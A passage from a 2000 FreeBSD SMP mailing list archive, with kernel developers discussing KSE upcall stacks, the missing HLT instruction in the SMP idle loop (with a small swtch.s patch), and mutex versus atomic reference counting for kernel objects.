From owner-freebsd-smp Sun Oct 29 0: 2:12 2000 Delivered-To: freebsd-smp@freebsd.org Received: from io.yi.org (h24-69-199-88.gv.shawcable.net [24.69.199.88]) by hub.freebsd.org (Postfix) with ESMTP id 5E79337B479 for ; Sun, 29 Oct 2000 00:02:10 -0700 (PDT) Received: from io.yi.org (localhost.gvcl1.bc.wave.home.com [127.0.0.1]) by io.yi.org (Postfix) with ESMTP id 3B96BBA6D; Sun, 29 Oct 2000 00:02:11 -0700 (PDT) X-Mailer: exmh version 2.1.1 10/15/1999 To: Jason Evans Cc: smp@FreeBSD.ORG Subject: Re: KSE project announcement In-Reply-To: Message from Jason Evans of "Fri, 27 Oct 2000 16:28:18 PDT." <20001027162818.I48771@canonware.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 29 Oct 2000 00:02:11 -0700 From: Jake Burkholder Message-Id: <20001029070211.3B96BBA6D@io.yi.org> Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have a question: is the idea that kse_init always "return"s on the same stack? and if so how does the kernel know when an upcall is finished, off the upcall context, and its safe to let another kse return to userland on that same stack? Thanks, Jake To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Sun Oct 29 7:47:51 2000 Delivered-To: freebsd-smp@freebsd.org Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3]) by hub.freebsd.org (Postfix) with ESMTP id 53B5737B479 for ; Sun, 29 Oct 2000 07:47:49 -0800 (PST) Received: from vigrid.com (pm3-pt9.pcnet.net [206.105.29.83]) by pcnet1.pcnet.com (8.8.7/PCNet) with ESMTP id KAA08715; Sun, 29 Oct 2000 10:47:22 -0500 (EST) Message-ID: <39FC468A.944757E2@vigrid.com> Date: Sun, 29 Oct 2000 10:47:22 -0500 From: "Daniel M. Eischen" X-Mailer: Mozilla 4.5 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Jake Burkholder Cc: Jason Evans , smp@FreeBSD.ORG Subject: Re: KSE project announcement References: <20001029070211.3B96BBA6D@io.yi.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jake Burkholder wrote: > > I have a question: is the idea that kse_init always "return"s > on the same stack? and if so how does the kernel know when an > upcall is finished, off the upcall context, and its safe to let > another kse return to userland on that same stack? I am not convinced that this will work either. I think it is much easier to have the UTS pass down a set of stacks to use for upcalls. After being used in upcalls (and when the UTS is finished with any data passed on the stack), the UTS would inform the kernel that they can be reused. Note that this wouldn't require an extra system call; the system call to recycle stacks could be the same system call that informs the kernel we are using KSEs. -- Dan Eischen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Mon Oct 30 19:36:10 2000 Delivered-To: freebsd-smp@freebsd.org Received: from ss07.spray.se (unknown [212.78.193.175]) by hub.freebsd.org (Postfix) with ESMTP id C6A5F37B4C5 for ; Mon, 30 Oct 2000 19:36:08 -0800 (PST) Received: from spraymail.spray.se (sonen.spray.se [212.78.193.147]) by ss07.spray.se (Postfix) with ESMTP id 770BDD1BC0 for ; Tue, 31 Oct 2000 04:38:52 +0100 (MET) Message-Id: <54839208@spray.se> From: Johan Dahlberg Subject: HLT To: freebsd-smp@freebsd.org Date: Tue, 31 Oct 2000 04:30:14 Reply-To: Johan Dahlberg MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Why doesn't the HLT instruction work in FreeBSD when I run an SMP kernel? The CPU's runs really hot.. so I'm forced to use an UP kernel, where the HLT instruction works, and keeps the CPU's a bit colder.. _________________________________________s_p_r_a_y_ Här börjar Internet! Skaffa gratis e-mail och gratis Internet på http://www.spray.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Mon Oct 30 19:41:50 2000 Delivered-To: freebsd-smp@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 08C7637B479 for ; Mon, 30 Oct 2000 19:41:47 -0800 (PST) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id OAA24318; Tue, 31 Oct 2000 14:11:34 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <54839208@spray.se> Date: Tue, 31 Oct 2000 14:11:34 +1030 (CST) From: "Daniel O'Connor" To: Johan Dahlberg Subject: RE: HLT Cc: freebsd-smp@freebsd.org Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 31-Oct-00 Johan Dahlberg wrote: > Why doesn't the HLT instruction work in FreeBSD when I run an SMP kernel? The > CPU's runs really hot.. so I'm forced to use an UP kernel, where the HLT > instruction works, and keeps the CPU's a bit colder.. Funnily enough my CPU's actually work properly when running at full speed for days on end, why don't yours? If you aren't overclocking then you need better cooling or non faulty CPU's :) If you are OC'ing, well.. bad luck 8-) --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Mon Oct 30 21:48:57 2000 Delivered-To: freebsd-smp@freebsd.org Received: from smtp03.primenet.com (smtp03.primenet.com [206.165.6.133]) by hub.freebsd.org (Postfix) with ESMTP id A9A5737B4CF for ; Mon, 30 Oct 2000 21:48:54 -0800 (PST) Received: (from daemon@localhost) by smtp03.primenet.com (8.9.3/8.9.3) id WAA18663; Mon, 30 Oct 2000 22:47:06 -0700 (MST) Received: from usr02.primenet.com(206.165.6.202) via SMTP by smtp03.primenet.com, id smtpdAAA6GaiwK; Mon Oct 30 22:46:54 2000 Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id WAA25053; Mon, 30 Oct 2000 22:48:39 -0700 (MST) From: Terry Lambert Message-Id: <200010310548.WAA25053@usr02.primenet.com> Subject: Re: HLT To: drony@spray.se Date: Tue, 31 Oct 2000 05:48:33 +0000 (GMT) Cc: freebsd-smp@FreeBSD.ORG In-Reply-To: <54839208@spray.se> from "Johan Dahlberg" at Oct 31, 2000 04:30:14 AM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Why doesn't the HLT instruction work in FreeBSD when I run an SMP > kernel? The CPU's runs really hot.. so I'm forced to use an UP > kernel, where the HLT instruction works, and keeps the CPU's a bit > colder.. It works; it's just that the idle loop doesn't call it. The reason it doesn't call it is because the kernel is holding the giant lock when it enters the scheduler, and it's in the scheduler where the idle processing takes place. Moving to actual kernel idle threads (HLT is a priviledged instruction) could fix this. So would moving to per CPU scheduling queues, which would also result in natural processor affinity, which could be a significant win all around. The issue there is the ability to migrate queue entries and putting things on initially and pulling them off would require holding the giant lock (only one CPU could manipulate the queues at at time), as well as sending an explicit IPI to cause a lock trap to ensure that the other CPU won't try to go into the scheduler while the migration is occurring. Then each CPU could call HLT in its own scheduler loop. To finish it off, you would want negative thread group affinity, so that threads in a single process could be running on different CPUs simultaneously, for best SMP scaling. I think the real question is why, under normal operating conditions, should overheating be a problem for you? I suspect the answer, as someone else pointed out, is that you are probably overclocking. If not, then you either have marginal chips, or your heat sinks/fans are not properly mounted or your heat conductive gel has gone bad. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Mon Oct 30 22:37:47 2000 Delivered-To: freebsd-smp@freebsd.org Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (Postfix) with SMTP id 073CA37B479 for ; Mon, 30 Oct 2000 22:37:45 -0800 (PST) Received: (qmail 97646 invoked by uid 1001); 31 Oct 2000 06:37:39 +0000 (GMT) To: drony@spray.se Cc: freebsd-smp@freebsd.org Subject: Re: HLT From: sthaug@nethelp.no In-Reply-To: Your message of "Tue, 31 Oct 2000 04:30:14" References: <54839208@spray.se> X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Tue, 31 Oct 2000 07:37:39 +0100 Message-ID: <97644.972974259@verdi.nethelp.no> Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Why doesn't the HLT instruction work in FreeBSD when I run an SMP > kernel? The CPU's runs really hot.. so I'm forced to use an UP > kernel, where the HLT instruction works, and keeps the CPU's a bit > colder.. This was discussed extensively some months ago, and as far as I remember no completely satisfactory solution was identified. The problem is that the UP code halts the CPU when it is idle, while SMP code does not. I (and several others) have been running with the following simple patch to /sys/i386/i386/swtch.s. It seems to do the job here. Mind you, this is for 4.x. All bets are off for -current. Steinar Haug, Nethelp consulting, sthaug@nethelp.no ---------------------------------------------------------------------- *** swtch.s.orig Sun Jan 2 22:36:22 2000 --- swtch.s Sun May 14 12:19:00 2000 *************** *** 251,259 **** ENTRY(default_halt) sti ! #ifndef SMP hlt /* XXX: until a wakeup IPI */ ! #endif ret /* --- 251,259 ---- ENTRY(default_halt) sti ! /* #ifndef SMP */ hlt /* XXX: until a wakeup IPI */ ! /* #endif */ ret /* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 7:51:38 2000 Delivered-To: freebsd-smp@freebsd.org Received: from mail.rdc1.ne.home.com (ha1.rdc1.ne.home.com [24.2.4.66]) by hub.freebsd.org (Postfix) with ESMTP id 45E2037B4CF for ; Tue, 31 Oct 2000 07:51:36 -0800 (PST) Received: from cx443070b ([24.0.36.170]) by mail.rdc1.ne.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001031155132.TZSW16034.mail.rdc1.ne.home.com@cx443070b>; Tue, 31 Oct 2000 07:51:32 -0800 Message-ID: <005801c04352$c0b23e60$aa240018@cx443070b> From: "Jeremiah Gowdy" To: "Johan Dahlberg" , References: <54839208@spray.se> Subject: Re: HLT Date: Tue, 31 Oct 2000 07:53:46 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Why doesn't the HLT instruction work in FreeBSD when I run an SMP kernel? The CPU's runs really hot.. so I'm forced to use an UP kernel, where the HLT instruction works, and keeps the CPU's a bit colder.. What CPUs are you using ? What kind of load are you putting on your box ? I run several SMP machines under FreeBSD. If you have proper cooling, you should have no problem under full load. I always purchase nice heatsink fan combos with higher RPM speeds than OEM fan/heatsink combos. For an SMP box it's worth it to spend an extra $40 on fans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 9: 4:51 2000 Delivered-To: freebsd-smp@freebsd.org Received: from po3.wam.umd.edu (po3.wam.umd.edu [128.8.10.165]) by hub.freebsd.org (Postfix) with ESMTP id 4F7DC37B479 for ; Tue, 31 Oct 2000 09:04:47 -0800 (PST) Received: from rac1.wam.umd.edu (IDENT:root@rac1.wam.umd.edu [128.8.10.141]) by po3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id LAA28550; Tue, 31 Oct 2000 11:56:00 -0500 (EST) Received: from rac1.wam.umd.edu (IDENT:sendmail@localhost [127.0.0.1]) by rac1.wam.umd.edu (8.9.3/8.9.3) with SMTP id LAA12101; Tue, 31 Oct 2000 11:55:59 -0500 (EST) Received: from localhost (culverk@localhost) by rac1.wam.umd.edu (8.9.3/8.9.3) with ESMTP id LAA12092; Tue, 31 Oct 2000 11:55:59 -0500 (EST) X-Authentication-Warning: rac1.wam.umd.edu: culverk owned process doing -bs Date: Tue, 31 Oct 2000 11:55:58 -0500 (EST) From: Kenneth Wayne Culver To: Jeremiah Gowdy Cc: Johan Dahlberg , freebsd-smp@FreeBSD.ORG Subject: Re: HLT In-Reply-To: <005801c04352$c0b23e60$aa240018@cx443070b> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If you are running on FreeBSD-CURRENT that's why you are having the problem there, I think they disabled the HLT on FreeBSD -CURRENT ================================================================= | Kenneth Culver | FreeBSD: The best NT upgrade | | Unix Systems Administrator | ICQ #: 24767726 | | and student at The | AIM: muythaibxr | | The University of Maryland, | Website: (Under Construction) | | College Park. | http://www.wam.umd.edu/~culverk/| ================================================================= On Tue, 31 Oct 2000, Jeremiah Gowdy wrote: > > Why doesn't the HLT instruction work in FreeBSD when I run an SMP kernel? > The CPU's runs really hot.. so I'm forced to use an UP kernel, where the HLT > instruction works, and keeps the CPU's a bit colder.. > > What CPUs are you using ? What kind of load are you putting on your box ? > > I run several SMP machines under FreeBSD. If you have proper cooling, you > should have no problem under full load. I always purchase nice heatsink fan > combos with higher RPM speeds than OEM fan/heatsink combos. For an SMP box > it's worth it to spend an extra $40 on fans. > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-smp" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 9:50:29 2000 Delivered-To: freebsd-smp@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 38AD537B4CF for ; Tue, 31 Oct 2000 09:50:25 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id MAA93020 for ; Tue, 31 Oct 2000 12:50:23 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Tue, 31 Oct 2000 12:50:23 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: freebsd-smp@FreeBSD.org Subject: Reference count invariants in a fine-grained threaded environment Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org While hacking up the prison code, I decided (for better or for worse) that I should attempt to write it with a multi-threaded environment in mind, protecting critical data structures against corrupting simultaneous use. John Baldwin and I discussed this a bit on IRC, and we had also discussed it (with Jason and others) at BSDcon, so I wrote up some thoughts on the matter and have attached them below. The premise is that right now, there are a number of shared data objects in the FreeBSD kernel that are managed using reference counts -- either to reduce overhead, or for legitimate sharing. The concern is that (a) freeing of these objects must be handled carefully to avoid dereferencing of these pointers after a reference has been freed, and (b) that global data structures managing these shared objects be protected properly also. We concluded that we may need to define rules about how reference counts are handled, either on a per-object basis, or globally as a set of recommendations. Presumably it is also desirable to avoid high contention on mutexes for performance reasons, so it may be desirable to combine protection of multiple objects under the same mutex if they are frequently accessed in combination, but will generate little contention. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services Rules for interactions between mutexes and reference-counted kernel objects: Assumptions: - Objects with reference counts have a mutex that can protect their reference count, and possibly other variables (or other instances). For example, struct cred might have a mutex per instance, but all struct prison's might use the same mutex. Definition: - For a reference counted object, a "reference" refers to an outstanding set of pointers which are guaranteed not to become invalid until the reference is released. In practice, this is guaranteed by mutexes protecting the reference count in the object, and by appropriate use of outstanding "references" by their consumers (which may involve mutexes or other system invariants). 1) Consumers of reference counts must protect their reference (pointer) when using the reference: i.e., they must guaranty that they do not attempt to dereference the pointer at any time after the reference may potentially have been released. This means they must either explicitely or implicitely protect the referenece from release during use by virtue of a mutex, or other invariants. If this introduces excessive contention due to extended use of the reference across blocking, then an additional reference must be acquired. 2) Reference counted objects should provide service routines that allow additional references to be acquired given an existing valid reference without introducing race conditions. Example: struct proc and struct cred Each struct cred has a reference count, and a mutex protecting that reference count. Unlike some credential objects, credentials are immutable after creation (in effect copy-on-write) meaning that the contents of the credential (when holding a valid reference) do not need to be protected using the mutex. When a new credential is needed, a holder of a legitimate reference invokes crcopy() which duplicates the original credential, and adds a reference to the new credential for the caller. The caller is responsible for releasing the reference on the old credential when necessary. The caller can make changes to this credential as long as they are the only holder (i.e., haven't committed it to a data structure that might permit other callers to use it). The cred reference in struct proc must be implicitely or explicitely protected against simultaneous access in unfortunate ways. Here's an example of simultaneous access that we need to protect against: Right now, during exec(), a credential change occurs on the process if exec() is invoked on a setuid binary. execve() uses crcopy to acquire a new credential, and replaces the reference in the struct proc with the new reference, freeing the old reference. sysctl() is used by ps and other utilities to retrieve process information. the sysctl handler will use pfind() to acquire a reference to the struct proc, and then follow the struct proc's credential reference to fill out the eproc returned to userland along with the struct proc contents. It is important that sysctl() not race with execve() to use that credential reference. First, it is necessary that the handler not be able to gain an additional pointer to the credential without atomically gaining an additional reference. In a world where struct proc has a mutex, this can be done by grabbing the struct proc mutex, using the struct proc reference to get an additional credential reference atomically, then releasing the struct proc mutex. If the struct proc mutex is not grabbed, a race could occur: sysctl grabs the old pointer, and exec releases the reference, causing struct cred to be garbage collected. The bad pointer is now dereferenced by sysctl, resulting in incorrect results (as it may have been reused), or a page fault. A similar example can be seen in the new prison code: struct proc references struct prison, describing the process's prison centrally. The prison reference count, and global prison list, are protected using a single prison_list mutex. It is important that consumers of struct proc only access the prison structure when they have a legitimate reference that cannot be released during their use. Right now, this is guaranteed by global, which protects all struct procs, but when this becomes explicit later, it is important that no access to the "p->p_prison" pointer (not just the structure itself, but also the *pointer*) be protected from inappropriate simultaneous use by multiple threads in the kernel. It is also important to note that, unlike struct cred, struct prison is not immutable: certain aspects can be modified at run-time, which may have important ramifications for all consumers. If you hold an outstanding reference on a cred, you don't have to grab a mutex to access the contents safely (what about memory consistency?), but if you have one on a struct prison, not all fields may remain the same, meaning additional protection may be required. Speaking of this issue: in a shared struct where some fields are constant and others are not, false sharing can be a problem. I.e., if the memory architecture defines locked memory access over a memory line that's 8 bytes, but the compiler places two 32-bit variables in that line, with one protected by a mutex and the other not. What should we assume for all supported architectures, or is it better to cover the entire structure with a mutex (in which case, must it be the same mutex as the reference count in the object, given that the reference count and another variable might be covered by the same locked operation?) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 10:10:37 2000 Delivered-To: freebsd-smp@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 316B937B479 for ; Tue, 31 Oct 2000 10:10:35 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id NAA93331 for ; Tue, 31 Oct 2000 13:10:34 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Tue, 31 Oct 2000 13:10:34 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: freebsd-smp@FreeBSD.org Subject: Re: Reference count invariants in a fine-grained threaded environment In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 31 Oct 2000, Robert Watson wrote: > Speaking of this issue: in a shared struct where some fields are constant > and others are not, false sharing can be a problem. I.e., if the memory > architecture defines locked memory access over a memory line that's 8 > bytes, but the compiler places two 32-bit variables in that line, with one > protected by a mutex and the other not. What should we assume for all > supported architectures, or is it better to cover the entire structure > with a mutex (in which case, must it be the same mutex as the reference > count in the object, given that the reference count and another variable > might be covered by the same locked operation?) So, just to put this concern into a little context: some older Alpha chips don't allow dereferencing pointers at char-level granularity, requiring a minimum retrieval size of (I forget exactly, but would guess 64 bits). If multiple char variables in a struct are packed adjacently, then read-write on these variables is non-atomic, and if two mutexes are used independently to protect two packed chars, then you still have races. Presumably solutions involve having the compiler not do that (no idea what it does by default -- probably packs for arrays, which are a seperate issue by themselves), either by default or by using qualifiers on variables in the struct, or requiring a single mutex to protect them all. All of these problems are solvable, we just need to have the solution defined somewhere (don't do that, compiler magic is safe to rely on, don't use multiple mutexes to protect one struct, or explicit compiler magic is required (volatile)). Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 10:11: 0 2000 Delivered-To: freebsd-smp@freebsd.org Received: from crewsoft.com (unknown [157.22.214.1]) by hub.freebsd.org (Postfix) with ESMTP id 334F837B479; Tue, 31 Oct 2000 10:10:58 -0800 (PST) Received: from [63.197.8.222] (HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.3b5) with ESMTP id 338237; Tue, 31 Oct 2000 10:11:47 -0800 Message-ID: <39FF0AC0.86A3A950@wireless-networks.com> Date: Tue, 31 Oct 2000 10:09:04 -0800 From: Cedric Berger X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Robert Watson Cc: freebsd-smp@FreeBSD.org Subject: Re: Reference count invariants in a fine-grained threaded environment References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Robert Watson wrote: > [...] > > Rules for interactions between mutexes and reference-counted kernel > objects: > > Assumptions: > > - Objects with reference counts have a mutex that can protect their > reference count, and possibly other variables (or other instances). For > example, struct cred might have a mutex per instance, but all struct > prison's might use the same mutex. > Is there not a cheaper way to manage reference count then using mutexes? I would guess that all architectures must have hardware support (i.e. special assembly instruction) to atomically increment/decrement+read a 32-bit value in a multiprocessor environment Cedric To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 10:21:14 2000 Delivered-To: freebsd-smp@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id EB06937B4CF; Tue, 31 Oct 2000 10:21:11 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e9VILB001432; Tue, 31 Oct 2000 10:21:11 -0800 (PST) Date: Tue, 31 Oct 2000 10:21:10 -0800 From: Alfred Perlstein To: Cedric Berger Cc: Robert Watson , freebsd-smp@FreeBSD.ORG Subject: Re: Reference count invariants in a fine-grained threaded environment Message-ID: <20001031102110.V22110@fw.wintelcom.net> References: <39FF0AC0.86A3A950@wireless-networks.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <39FF0AC0.86A3A950@wireless-networks.com>; from cedric@wireless-networks.com on Tue, Oct 31, 2000 at 10:09:04AM -0800 Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Cedric Berger [001031 10:11] wrote: > > > Robert Watson wrote: > > > [...] > > > > Rules for interactions between mutexes and reference-counted kernel > > objects: > > > > Assumptions: > > > > - Objects with reference counts have a mutex that can protect their > > reference count, and possibly other variables (or other instances). For > > example, struct cred might have a mutex per instance, but all struct > > prison's might use the same mutex. > > > > Is there not a cheaper way to manage reference count then using mutexes? > I would guess that all architectures must have hardware support (i.e. special > assembly instruction) to atomically increment/decrement+read a 32-bit value > in a multiprocessor environment Yes, but FreeBSD is has too many knights that say NIH! This is where atomic refcounts would simplify the code however for some reason everyone I've talked to prefers to have this sort of code: void crhold(struct ucred* ucp) { mtx_lock(ucp->uc_mtx); ucp->ref++; mtx_unlock(ucp->uc_mtx); } rather than a simple and cheaper: void crhold(struct ucred* ucp) { atomic_ref_inc(&ucp->ref); } *shrug* -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 10:23: 7 2000 Delivered-To: freebsd-smp@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 5F67D37B4C5 for ; Tue, 31 Oct 2000 10:23:01 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id NAA93621; Tue, 31 Oct 2000 13:21:45 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Tue, 31 Oct 2000 13:21:45 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: Cedric Berger Cc: freebsd-smp@FreeBSD.org Subject: Re: Reference count invariants in a fine-grained threaded environment In-Reply-To: <39FF0AC0.86A3A950@wireless-networks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 31 Oct 2000, Cedric Berger wrote: > > Rules for interactions between mutexes and reference-counted kernel > > objects: > > > > Assumptions: > > > > - Objects with reference counts have a mutex that can protect their > > reference count, and possibly other variables (or other instances). For > > example, struct cred might have a mutex per instance, but all struct > > prison's might use the same mutex. > > Is there not a cheaper way to manage reference count then using mutexes? > I would guess that all architectures must have hardware support (i.e. special > assembly instruction) to atomically increment/decrement+read a 32-bit value > in a multiprocessor environment As long as parent references are properly managed, I believe that this is correct (although I haven't attempted to rigorously explore all the cases): as long as any modification to the reference count is (a) done with an existing valid reference, and (b) done atomically, it should be safe. If you get back 0 in your atomic decrement, then it is safe to release the object. In the case of the prison code, I'm also using a mutex to protect the global data structure (list) that holds all prison structures so that they can be managed directly by jailid: to garbage collect the list entry, you must hold the list mutex to maintain integrity, and also to prevent new references from materializing via the list as it is an implicit reference acquisition mechanism. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 10:57:22 2000 Delivered-To: freebsd-smp@freebsd.org Received: from berserker.bsdi.com (berserker.twistedbit.com [199.79.183.1]) by hub.freebsd.org (Postfix) with ESMTP id 7828A37B4CF; Tue, 31 Oct 2000 10:57:19 -0800 (PST) Received: from berserker.bsdi.com (cp@localhost.bsdi.com [127.0.0.1]) by berserker.bsdi.com (8.9.3/8.9.3) with ESMTP id LAA02433; Tue, 31 Oct 2000 11:57:09 -0700 (MST) (envelope-from cp@berserker.bsdi.com) Message-Id: <200010311857.LAA02433@berserker.bsdi.com> To: Alfred Perlstein Cc: Cedric Berger , Robert Watson , freebsd-smp@FreeBSD.ORG Subject: Re: Reference count invariants in a fine-grained threaded environment In-reply-to: Your message of "Tue, 31 Oct 2000 10:21:10 PST." <20001031102110.V22110@fw.wintelcom.net> From: Chuck Paterson Date: Tue, 31 Oct 2000 11:57:09 -0700 Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Alfred, I'm a little surprised. I thought you won the argument to use atomic operations as long as long as all the needed operations such as the decrement and test, and examine without modification were present. You certainly convinced me. I though we had got to the point of just working out what we wanted to do for size. This is of course only where a mutex isn't already required for internal data integrity. Chuck To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Tue Oct 31 11:15: 6 2000 Delivered-To: freebsd-smp@freebsd.org Received: from pike.osd.bsdi.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id 93C9637B479; Tue, 31 Oct 2000 11:15:03 -0800 (PST) Received: from laptop.baldwin.cx (john@dhcp241.osd.bsdi.com [204.216.28.241]) by pike.osd.bsdi.com (8.11.0/8.9.3) with ESMTP id e9VJEEf14688; Tue, 31 Oct 2000 11:14:14 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20001031102110.V22110@fw.wintelcom.net> Date: Tue, 31 Oct 2000 11:15:14 -0800 (PST) From: John Baldwin To: Alfred Perlstein Subject: Re: Reference count invariants in a fine-grained threaded enviro Cc: freebsd-smp@FreeBSD.org, Robert Watson , Cedric Berger Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 31-Oct-00 Alfred Perlstein wrote: > * Cedric Berger [001031 10:11] wrote: >> >> >> Robert Watson wrote: >> > >> [...] >> > >> > Rules for interactions between mutexes and reference-counted kernel >> > objects: >> > >> > Assumptions: >> > >> > - Objects with reference counts have a mutex that can protect their >> > reference count, and possibly other variables (or other instances). For >> > example, 